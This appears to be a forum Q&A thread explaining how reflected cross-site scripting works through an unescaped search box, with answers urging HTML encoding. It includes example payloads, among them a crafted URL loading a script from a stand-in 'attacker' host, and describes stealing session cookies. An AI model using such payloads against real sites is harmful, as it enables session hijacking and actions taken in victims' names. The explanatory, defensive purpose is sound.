4

When I develop a site, I'm always conscious of security flaws, but I'm struggling to see how a search box could ever be used to inject script that could be ran on a page of mine.

So I understand that, from a lack of sanitization, input may be added to my DOM. But - so what? I never expect a user to use javascript as a search term - so I'll never attempt to run it on my page. I'll treat it as a string, and so it will only ever behave like one. Or am I missing something fundamental here?

The only time I may add some input to the page is if I render No search results found for "<script>malicious();</script>", but I'll never let the search term run.

What am I misunderstanding here?

In fact, if anybody can explain aside from the search box concept - I'm happy with that. I'm struggling to grasp that last part of an XSS attack.

6

The goal of an XSS attack is for an attacker to somehow inject code into a webpage that is served from your site. This code is privileged in the sense that, as it was served by your site, the same origin policy lets it have full access to your site's cookies and the contents of the web page that you served.

So, if your site responds to a request such as

http://example.com/search?q=<script>alert(1)</script>

by returning this HTML

<body>No search results found for "<script>alert(1);</script>"</body>

then that script will be executed and you'll see the alert dialog. This is an XSS vulnerability. On the other hand, if your site returns:

<body>No search results found for "&lt;script&gt;alert(1);&lt;/script&gt;"</body>

Then you have, at least, some protection against XSS attacks.

In a real attack, the attacker would not use alert, but try to perform an action on your site as the logged-in user or steal data from the page or the user's cookies. You should read the OWASP XSS Cheat Sheet to get a more complete explanation as well as a detailed presentation of how to perform the appropriate escaping to prevent XSS vulnerabilities.

2

Just imagine the following scenario:

  • The user is logged into your site, i.e. has a session cookie.
  • The user visits a link to your site which is controlled by the hacker. Such a link could be embedded into a site controlled by the attacker as <img src=http://your-site/.... Or it could be inside a mail, inside an advertisement (see malvertising) or similar.
  • The link uses the XSS problem in your search box to inject code into the site, i.e. http://your-site/search?q=This+will+not+be+found+<script+src=http://attacker/bad.js>.

input may be added to my DOM. But - so what?

The attacker controlled script now gets executed into the context of your site. This means the script has access to the full DOM and to all cookies which have not the httpOnly flag set. The script can do anything inside the site, like:

  • Sending the session cookie to the attacker so that session hijacking can be done.
  • Executing some action as the logged in user like posting some insulting articles or worse. I.e. whatever they user can do on your site.
1

I never expect a user to use javascript as a search term

And users probably won't (depending on what kind of website you have).

But attackers will.

And they will try to get victims to search for harmful JavaScript (eg by sending them a link), which is then executed in the context of the victims browser. This means that the attacker can now read any data that your website displays to the user, they can change how your website looks to the user, they can perform any action on your website in the name of the user, etc.

so I'll never attempt to run it on my page.
but I'll never let the search term run.

Right. But how are you going to do that? If an attacker searches for <script>alert(1);</script>, how do you ensure that this JavaScript code is not executed by the browser it is send to?

I'll treat it as a string, and so it will only ever behave like one.

But everything you send to the client is treated as a string, and scripts will still be executed.

What you need to do (in most situations) is to HTML encode the input. That way, it is indeed treated like ordinary text, and not treated as HTML code.

For more information on preventing XSS or general information about XSS such as the different types, examples, etc, see for example OWASP.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy